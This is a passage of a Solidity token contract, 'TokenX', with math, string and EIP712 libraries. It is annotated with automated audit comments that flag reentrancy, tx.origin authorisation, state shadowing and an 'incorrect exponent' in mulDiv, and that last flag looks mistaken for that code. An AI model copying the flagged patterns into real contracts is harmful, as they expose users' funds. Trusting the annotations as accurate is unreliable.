Math.mulDiv(uint256,uint256,uint256) has bitwisexor operator ^ instead of the exponentiation operator ** inverse = (3 * denominator) ^ 2\n\t// Recommendation for 8858285: Use the correct operator '**' for exponentiation.\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n unchecked {\n uint256 prod0 = x * y;\n\n uint256 prod1;\n\n assembly {\n let mm := mulmod(x, y, not(0))\n\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n if (prod1 == 0) {\n return prod0 / denominator;\n }\n\n if (denominator <= prod1) {\n Panic.panic(\n ternary(\n denominator == 0,\n Panic.DIVISION_BY_ZERO,\n Panic.UNDER_OVERFLOW\n )\n );\n }\n\n uint256 remainder;\n\n assembly {\n remainder := mulmod(x, y, denominator)\n\n prod1 := sub(prod1, gt(remainder, prod0))\n\n prod0 := sub(prod0, remainder)\n }\n\n uint256 twos = denominator & (0 - denominator);\n\n assembly {\n\t\t\t\t// divide-before-multiply | ID: 13db28a\n\t\t\t\t// divide-before-multiply | ID: 7c3b4d4\n\t\t\t\t// divide-before-multiply | ID: 4a0e89a\n\t\t\t\t// divide-before-multiply | ID: d4c9f7c\n\t\t\t\t// divide-before-multiply | ID: 4a12022\n\t\t\t\t// divide-before-multiply | ID: 2c69a2c\n\t\t\t\t// divide-before-multiply | ID: ef5eabd\n denominator := div(denominator, twos)\n\n\t\t\t\t// divide-before-multiply | ID: cc6f30b\n prod0 := div(prod0, twos)\n\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n prod0 |= prod1 * twos;\n\n\t\t\t// divide-before-multiply | ID: 13db28a\n\t\t\t// incorrect-exp | ID: 8858285\n uint256 inverse = (3 * denominator) ^ 2;\n\n\t\t\t// divide-before-multiply | ID: d4c9f7c\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: ef5eabd\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 4a0e89a\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 2c69a2c\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 4a12022\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 7c3b4d4\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: cc6f30b\n result = prod0 * inverse;\n\n return result;\n }\n }\n\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator,\n Rounding rounding\n ) internal pure returns (uint256) {\n return\n mulDiv(x, y, denominator) +\n SafeCast.toUint(\n unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0\n );\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 2d54cb6): Math.invMod(uint256,uint256) performs a multiplication on the result of a division quotient = gcd / remainder (gcd,remainder) = (remainder,gcd remainder * quotient)\n\t// Recommendation for 2d54cb6: Consider ordering multiplication before division.\n function invMod(uint256 a, uint256 n) internal pure returns (uint256) {\n unchecked {\n if (n == 0) return 0;\n\n uint256 remainder = a % n;\n\n uint256 gcd = n;\n\n int256 x = 0;\n\n int256 y = 1;\n\n while (remainder != 0) {\n\t\t\t\t// divide-before-multiply | ID: 2d54cb6\n uint256 quotient = gcd / remainder;\n\n\t\t\t\t// divide-before-multiply | ID: 2d54cb6\n (gcd, remainder) = (remainder, gcd - remainder * quotient);\n\n (x, y) = (y, x - y * int256(quotient));\n }\n\n if (gcd != 1) return 0;\n\n return ternary(x < 0, n - uint256(-x), uint256(x));\n }\n }\n\n function invModPrime(uint256 a, uint256 p) internal view returns (uint256) {\n unchecked {\n return Math.modExp(a, p - 2, p);\n }\n }\n\n function modExp(\n uint256 b,\n uint256 e,\n uint256 m\n ) internal view returns (uint256) {\n (bool success, uint256 result) = tryModExp(b, e, m);\n\n if (!success) {\n Panic.panic(Panic.DIVISION_BY_ZERO);\n }\n\n return result;\n }\n\n function tryModExp(\n uint256 b,\n uint256 e,\n uint256 m\n ) internal view returns (bool success, uint256 result) {\n if (m == 0) return (false, 0);\n\n assembly (\"memory-safe\") {\n let ptr := mload(0x40)\n\n mstore(ptr, 0x20)\n\n mstore(add(ptr, 0x20), 0x20)\n\n mstore(add(ptr, 0x40), 0x20)\n\n mstore(add(ptr, 0x60), b)\n\n mstore(add(ptr, 0x80), e)\n\n mstore(add(ptr, 0xa0), m)\n\n success := staticcall(gas(), 0x05, ptr, 0xc0, 0x00, 0x20)\n\n result := mload(0x00)\n }\n }\n\n function modExp(\n bytes memory b,\n bytes memory e,\n bytes memory m\n ) internal view returns (bytes memory) {\n (bool success, bytes memory result) = tryModExp(b, e, m);\n\n if (!success) {\n Panic.panic(Panic.DIVISION_BY_ZERO);\n }\n\n return result;\n }\n\n function tryModExp(\n bytes memory b,\n bytes memory e,\n bytes memory m\n ) internal view returns (bool success, bytes memory result) {\n if (_zeroBytes(m)) return (false, new bytes(0));\n\n uint256 mLen = m.length;\n\n result = abi.encodePacked(b.length, e.length, mLen, b, e, m);\n\n assembly (\"memory-safe\") {\n let dataPtr := add(result, 0x20)\n\n success := staticcall(\n gas(),\n 0x05,\n dataPtr,\n mload(result),\n dataPtr,\n mLen\n )\n\n mstore(result, mLen)\n\n mstore(0x40, add(dataPtr, mLen))\n }\n }\n\n function _zeroBytes(bytes memory byteArray) private pure returns (bool) {\n for (uint256 i = 0; i < byteArray.length; ++i) {\n if (byteArray[i] != 0) {\n return false;\n }\n }\n\n return true;\n }\n\n function sqrt(uint256 a) internal pure returns (uint256) {\n unchecked {\n if (a <= 1) {\n return a;\n }\n\n uint256 aa = a;\n\n uint256 xn = 1;\n\n if (aa >= (1 << 128)) {\n aa >>= 128;\n\n xn <<= 64;\n }\n\n if (aa >= (1 << 64)) {\n aa >>= 64;\n\n xn <<= 32;\n }\n\n if (aa >= (1 << 32)) {\n aa >>= 32;\n\n xn <<= 16;\n }\n\n if (aa >= (1 << 16)) {\n aa >>= 16;\n\n xn <<= 8;\n }\n\n if (aa >= (1 << 8)) {\n aa >>= 8;\n\n xn <<= 4;\n }\n\n if (aa >= (1 << 4)) {\n aa >>= 4;\n\n xn <<= 2;\n }\n\n if (aa >= (1 << 2)) {\n xn <<= 1;\n }\n\n xn = (3 * xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n xn = (xn + a / xn) >> 1;\n\n return xn - SafeCast.toUint(xn > a / xn);\n }\n }\n\n function sqrt(\n uint256 a,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n\n return\n result +\n SafeCast.toUint(\n unsignedRoundsUp(rounding) && result * result < a\n );\n }\n }\n\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n uint256 exp;\n\n unchecked {\n exp = 128 * SafeCast.toUint(value > (1 << 128) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 64 * SafeCast.toUint(value > (1 << 64) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 32 * SafeCast.toUint(value > (1 << 32) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 16 * SafeCast.toUint(value > (1 << 16) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 8 * SafeCast.toUint(value > (1 << 8) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 4 * SafeCast.toUint(value > (1 << 4) - 1);\n\n value >>= exp;\n\n result += exp;\n\n exp = 2 * SafeCast.toUint(value > (1 << 2) - 1);\n\n value >>= exp;\n\n result += exp;\n\n result += SafeCast.toUint(value > 1);\n }\n\n return result;\n }\n\n function log2(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n\n return\n result +\n SafeCast.toUint(\n unsignedRoundsUp(rounding) && 1 << result < value\n );\n }\n }\n\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n\n result += 64;\n }\n\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n\n result += 32;\n }\n\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n\n result += 16;\n }\n\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n\n result += 8;\n }\n\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n\n result += 4;\n }\n\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n\n result += 2;\n }\n\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log10(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n\n return\n result +\n SafeCast.toUint(\n unsignedRoundsUp(rounding) && 10 ** result < value\n );\n }\n }\n\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n uint256 isGt;\n\n unchecked {\n isGt = SafeCast.toUint(value > (1 << 128) - 1);\n\n value >>= isGt * 128;\n\n result += isGt * 16;\n\n isGt = SafeCast.toUint(value > (1 << 64) - 1);\n\n value >>= isGt * 64;\n\n result += isGt * 8;\n\n isGt = SafeCast.toUint(value > (1 << 32) - 1);\n\n value >>= isGt * 32;\n\n result += isGt * 4;\n\n isGt = SafeCast.toUint(value > (1 << 16) - 1);\n\n value >>= isGt * 16;\n\n result += isGt * 2;\n\n result += SafeCast.toUint(value > (1 << 8) - 1);\n }\n\n return result;\n }\n\n function log256(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n\n return\n result +\n SafeCast.toUint(\n unsignedRoundsUp(rounding) && 1 << (result << 3) < value\n );\n }\n }\n\n function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) {\n return uint8(rounding) % 2 == 1;\n }\n}\n\nlibrary SignedMath {\n function ternary(\n bool condition,\n int256 a,\n int256 b\n ) internal pure returns (int256) {\n unchecked {\n return b ^ ((a ^ b) * int256(SafeCast.toUint(condition)));\n }\n }\n\n function max(int256 a, int256 b) internal pure returns (int256) {\n return ternary(a > b, a, b);\n }\n\n function min(int256 a, int256 b) internal pure returns (int256) {\n return ternary(a < b, a, b);\n }\n\n function average(int256 a, int256 b) internal pure returns (int256) {\n int256 x = (a & b) + ((a ^ b) >> 1);\n\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n int256 mask = n >> 255;\n\n return uint256((n + mask) ^ mask);\n }\n }\n}\n\nlibrary Strings {\n bytes16 private constant HEX_DIGITS = \"0123456789abcdef\";\n\n uint8 private constant ADDRESS_LENGTH = 20;\n\n error StringsInsufficientHexLength(uint256 value, uint256 length);\n\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = Math.log10(value) + 1;\n\n string memory buffer = new string(length);\n\n uint256 ptr;\n\n assembly (\"memory-safe\") {\n ptr := add(buffer, add(32, length))\n }\n\n while (true) {\n ptr--;\n\n assembly (\"memory-safe\") {\n mstore8(ptr, byte(mod(value, 10), HEX_DIGITS))\n }\n\n value /= 10;\n\n if (value == 0) break;\n }\n\n return buffer;\n }\n }\n\n function toStringSigned(\n int256 value\n ) internal pure returns (string memory) {\n return\n string.concat(\n value < 0 ? \"-\" : \"\",\n toString(SignedMath.abs(value))\n );\n }\n\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, Math.log256(value) + 1);\n }\n }\n\n function toHexString(\n uint256 value,\n uint256 length\n ) internal pure returns (string memory) {\n uint256 localValue = value;\n\n bytes memory buffer = new bytes(2 * length + 2);\n\n buffer[0] = \"0\";\n\n buffer[1] = \"x\";\n\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = HEX_DIGITS[localValue & 0xf];\n\n localValue >>= 4;\n }\n\n if (localValue != 0) {\n revert StringsInsufficientHexLength(value, length);\n }\n\n return string(buffer);\n }\n\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), ADDRESS_LENGTH);\n }\n\n function toChecksumHexString(\n address addr\n ) internal pure returns (string memory) {\n bytes memory buffer = bytes(toHexString(addr));\n\n uint256 hashValue;\n\n assembly (\"memory-safe\") {\n hashValue := shr(96, keccak256(add(buffer, 0x22), 40))\n }\n\n for (uint256 i = 41; i > 1; --i) {\n if (hashValue & 0xf > 7 && uint8(buffer[i]) > 96) {\n buffer[i] ^= 0x20;\n }\n\n hashValue >>= 4;\n }\n\n return string(buffer);\n }\n\n function equal(\n string memory a,\n string memory b\n ) internal pure returns (bool) {\n return\n bytes(a).length == bytes(b).length &&\n keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n\nlibrary MessageHashUtils {\n function toEthSignedMessageHash(\n bytes32 messageHash\n ) internal pure returns (bytes32 digest) {\n assembly (\"memory-safe\") {\n mstore(0x00, \"\\x19Ethereum Signed Message:\\n32\") // 32 is the bytes-length of messageHash\n\n mstore(0x1c, messageHash)\n\n digest := keccak256(0x00, 0x3c)\n }\n }\n\n function toEthSignedMessageHash(\n bytes memory message\n ) internal pure returns (bytes32) {\n return\n keccak256(\n bytes.concat(\n \"\\x19Ethereum Signed Message:\\n\",\n bytes(Strings.toString(message.length)),\n message\n )\n );\n }\n\n function toDataWithIntendedValidatorHash(\n address validator,\n bytes memory data\n ) internal pure returns (bytes32) {\n return keccak256(abi.encodePacked(hex\"19_00\", validator, data));\n }\n\n function toTypedDataHash(\n bytes32 domainSeparator,\n bytes32 structHash\n ) internal pure returns (bytes32 digest) {\n assembly (\"memory-safe\") {\n let ptr := mload(0x40)\n\n mstore(ptr, hex\"19_01\")\n\n mstore(add(ptr, 0x02), domainSeparator)\n\n mstore(add(ptr, 0x22), structHash)\n\n digest := keccak256(ptr, 0x42)\n }\n }\n}\n\nlibrary StorageSlot {\n struct AddressSlot {\n address value;\n }\n\n struct BooleanSlot {\n bool value;\n }\n\n struct Bytes32Slot {\n bytes32 value;\n }\n\n struct Uint256Slot {\n uint256 value;\n }\n\n struct Int256Slot {\n int256 value;\n }\n\n struct StringSlot {\n string value;\n }\n\n struct BytesSlot {\n bytes value;\n }\n\n function getAddressSlot(\n bytes32 slot\n ) internal pure returns (AddressSlot storage r) {\n assembly (\"memory-safe\") {\n r.slot := slot\n }\n }\n\n function getBooleanSlot(\n bytes32 slot\n ) internal pure returns (BooleanSlot storage r) {\n assembly (\"memory-safe\") {\n r.slot := slot\n }\n }\n\n function getBytes32Slot(\n bytes32 slot\n ) internal pure returns (Bytes32Slot storage r) {\n assembly (\"memory-safe\") {\n r.slot := slot\n }\n }\n\n function getUint256Slot(\n bytes32 slot\n ) internal pure returns (Uint256Slot storage r) {\n assembly (\"memory-safe\") {\n r.slot := slot\n }\n }\n\n function getInt256Slot(\n bytes32 slot\n ) internal pure returns (Int256Slot storage r) {\n assembly (\"memory-safe\") {\n r.slot := slot\n }\n }\n\n function getStringSlot(\n bytes32 slot\n ) internal pure returns (StringSlot storage r) {\n assembly (\"memory-safe\") {\n r.slot := slot\n }\n }\n\n function getStringSlot(\n string storage store\n ) internal pure returns (StringSlot storage r) {\n assembly (\"memory-safe\") {\n r.slot := store.slot\n }\n }\n\n function getBytesSlot(\n bytes32 slot\n ) internal pure returns (BytesSlot storage r) {\n assembly (\"memory-safe\") {\n r.slot := slot\n }\n }\n\n function getBytesSlot(\n bytes storage store\n ) internal pure returns (BytesSlot storage r) {\n assembly (\"memory-safe\") {\n r.slot := store.slot\n }\n }\n}\n\ntype ShortString is bytes32;\n\nlibrary ShortStrings {\n bytes32 private constant FALLBACK_SENTINEL =\n 0x00000000000000000000000000000000000000000000000000000000000000FF;\n\n error StringTooLong(string str);\n\n error InvalidShortString();\n\n function toShortString(\n string memory str\n ) internal pure returns (ShortString) {\n bytes memory bstr = bytes(str);\n\n if (bstr.length > 31) {\n revert StringTooLong(str);\n }\n\n return ShortString.wrap(bytes32(uint256(bytes32(bstr)) | bstr.length));\n }\n\n function toString(ShortString sstr) internal pure returns (string memory) {\n uint256 len = byteLength(sstr);\n\n string memory str = new string(32);\n\n assembly (\"memory-safe\") {\n mstore(str, len)\n\n mstore(add(str, 0x20), sstr)\n }\n\n return str;\n }\n\n function byteLength(ShortString sstr) internal pure returns (uint256) {\n uint256 result = uint256(ShortString.unwrap(sstr)) & 0xFF;\n\n if (result > 31) {\n revert InvalidShortString();\n }\n\n return result;\n }\n\n function toShortStringWithFallback(\n string memory value,\n string storage store\n ) internal returns (ShortString) {\n if (bytes(value).length < 32) {\n return toShortString(value);\n } else {\n StorageSlot.getStringSlot(store).value = value;\n\n return ShortString.wrap(FALLBACK_SENTINEL);\n }\n }\n\n function toStringWithFallback(\n ShortString value,\n string storage store\n ) internal pure returns (string memory) {\n if (ShortString.unwrap(value) != FALLBACK_SENTINEL) {\n return toString(value);\n } else {\n return store;\n }\n }\n\n function byteLengthWithFallback(\n ShortString value,\n string storage store\n ) internal view returns (uint256) {\n if (ShortString.unwrap(value) != FALLBACK_SENTINEL) {\n return byteLength(value);\n } else {\n return bytes(store).length;\n }\n }\n}\n\ninterface IERC5267 {\n event EIP712DomainChanged();\n\n function eip712Domain()\n external\n view\n returns (\n bytes1 fields,\n string memory name,\n string memory version,\n uint256 chainId,\n address verifyingContract,\n bytes32 salt,\n uint256[] memory extensions\n );\n}\n\nabstract contract EIP712 is IERC5267 {\n using ShortStrings for *;\n\n bytes32 private constant TYPE_HASH =\n keccak256(\n \"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\"\n );\n\n bytes32 private immutable _cachedDomainSeparator;\n\n uint256 private immutable _cachedChainId;\n\n address private immutable _cachedThis;\n\n bytes32 private immutable _hashedName;\n\n bytes32 private immutable _hashedVersion;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: b9b221b): TokenX._name shadows EIP712._name\n\t// Recommendation for b9b221b: Remove the state variable shadowing.\n ShortString private immutable _name;\n\n ShortString private immutable _version;\n\n string private _nameFallback;\n\n string private _versionFallback;\n\n constructor(string memory name, string memory version) {\n _name = name.toShortStringWithFallback(_nameFallback);\n\n _version = version.toShortStringWithFallback(_versionFallback);\n\n _hashedName = keccak256(bytes(name));\n\n _hashedVersion = keccak256(bytes(version));\n\n _cachedChainId = block.chainid;\n\n _cachedDomainSeparator = _buildDomainSeparator();\n\n _cachedThis = address(this);\n }\n\n function _domainSeparatorV4() internal view returns (bytes32) {\n if (address(this) == _cachedThis && block.chainid == _cachedChainId) {\n return _cachedDomainSeparator;\n } else {\n return _buildDomainSeparator();\n }\n }\n\n function _buildDomainSeparator() private view returns (bytes32) {\n return\n keccak256(\n abi.encode(\n TYPE_HASH,\n _hashedName,\n _hashedVersion,\n block.chainid,\n address(this)\n )\n );\n }\n\n function _hashTypedDataV4(\n bytes32 structHash\n ) internal view virtual returns (bytes32) {\n return\n MessageHashUtils.toTypedDataHash(_domainSeparatorV4(), structHash);\n }\n\n function eip712Domain()\n public\n view\n virtual\n returns (\n bytes1 fields,\n string memory name,\n string memory version,\n uint256 chainId,\n address verifyingContract,\n bytes32 salt,\n uint256[] memory extensions\n )\n {\n return (\n hex\"0f\", // 01111\n _EIP712Name(),\n _EIP712Version(),\n block.chainid,\n address(this),\n bytes32(0),\n new uint256[](0)\n );\n }\n\n function _EIP712Name() internal view returns (string memory) {\n return _name.toStringWithFallback(_nameFallback);\n }\n\n function _EIP712Version() internal view returns (string memory) {\n return _version.toStringWithFallback(_versionFallback);\n }\n}\n\nabstract contract Nonces {\n error InvalidAccountNonce(address account, uint256 currentNonce);\n\n mapping(address account => uint256) private _nonces;\n\n function nonces(address owner) public view virtual returns (uint256) {\n return _nonces[owner];\n }\n\n function _useNonce(address owner) internal virtual returns (uint256) {\n unchecked {\n return _nonces[owner]++;\n }\n }\n\n function _useCheckedNonce(address owner, uint256 nonce) internal virtual {\n uint256 current = _useNonce(owner);\n\n if (nonce != current) {\n revert InvalidAccountNonce(owner, current);\n }\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract TokenX is IERC20, Ownable, IERC20Permit, EIP712, Nonces {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool public transferDelayEnabled = true;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 599312d): TokenX._taxWallet should be immutable \n\t// Recommendation for 599312d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 79768cd): TokenX._initialBuyTax should be constant \n\t// Recommendation for 79768cd: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 07bbd56): TokenX._initialSellTax should be constant \n\t// Recommendation for 07bbd56: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 349ae9b): TokenX._finalBuyTax should be constant \n\t// Recommendation for 349ae9b: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 306c32d): TokenX._finalSellTax should be constant \n\t// Recommendation for 306c32d: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: fa90315): TokenX._reduceBuyTaxAt should be constant \n\t// Recommendation for fa90315: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 2;\n\n\t// WARNING Optimization Issue (constable-states | ID: 21d94ec): TokenX._reduceSellTaxAt should be constant \n\t// Recommendation for 21d94ec: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 2;\n\n\t// WARNING Optimization Issue (constable-states | ID: 808c6e3): TokenX._preventSwapBefore should be constant \n\t// Recommendation for 808c6e3: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 1;\n\n uint256 private _buyCount = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9f41380): TokenX._percentTokenToBurn should be constant \n\t// Recommendation for 9f41380: Add the 'constant' attribute to state variables that never change.\n uint private _percentTokenToBurn = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 10000000 * 10 ** _decimals;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: b9b221b): TokenX._name shadows EIP712._name\n\t// Recommendation for b9b221b: Remove the state variable shadowing.\n string private constant _name = unicode\"TokenX\";\n\n string private constant _symbol = unicode\"TKX\";\n\n uint256 public _maxTxAmount = 10000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1c60407): TokenX._taxSwapThreshold should be constant \n\t// Recommendation for 1c60407: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 152f860): TokenX._maxTaxSwap should be constant \n\t// Recommendation for 152f860: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n bytes32 private constant PERMIT_TYPEHASH =\n keccak256(\n \"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)\"\n );\n\n error ERC2612ExpiredSignature(uint256 deadline);\n\n error ERC2612InvalidSigner(address signer, address owner);\n\n constructor() EIP712(_name, \"1\") Ownable(msg.sender) {\n _taxWallet = payable(msg.sender);\n\n _balances[msg.sender] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n emit Transfer(address(0), msg.sender, _tTotal);\n }\n\n function buyTax() external view returns (uint) {\n return _buyCount > _reduceBuyTaxAt ? _finalBuyTax : _initialBuyTax;\n }\n\n function sellTax() external view returns (uint) {\n return _buyCount > _reduceSellTaxAt ? _finalSellTax : _initialSellTax;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b6a8576): TokenX.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for b6a8576: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6a8dbdc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6a8dbdc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0fed58d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0fed58d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 6a8dbdc\n\t\t// reentrancy-benign | ID: 0fed58d\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 6a8dbdc\n\t\t// reentrancy-benign | ID: 0fed58d\n _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6b377dd): TokenX._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6b377dd: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 0fed58d\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 6a8dbdc\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6d84cfd): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6d84cfd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 5f072c6): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for 5f072c6: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: fa63a27): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for fa63a27: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != 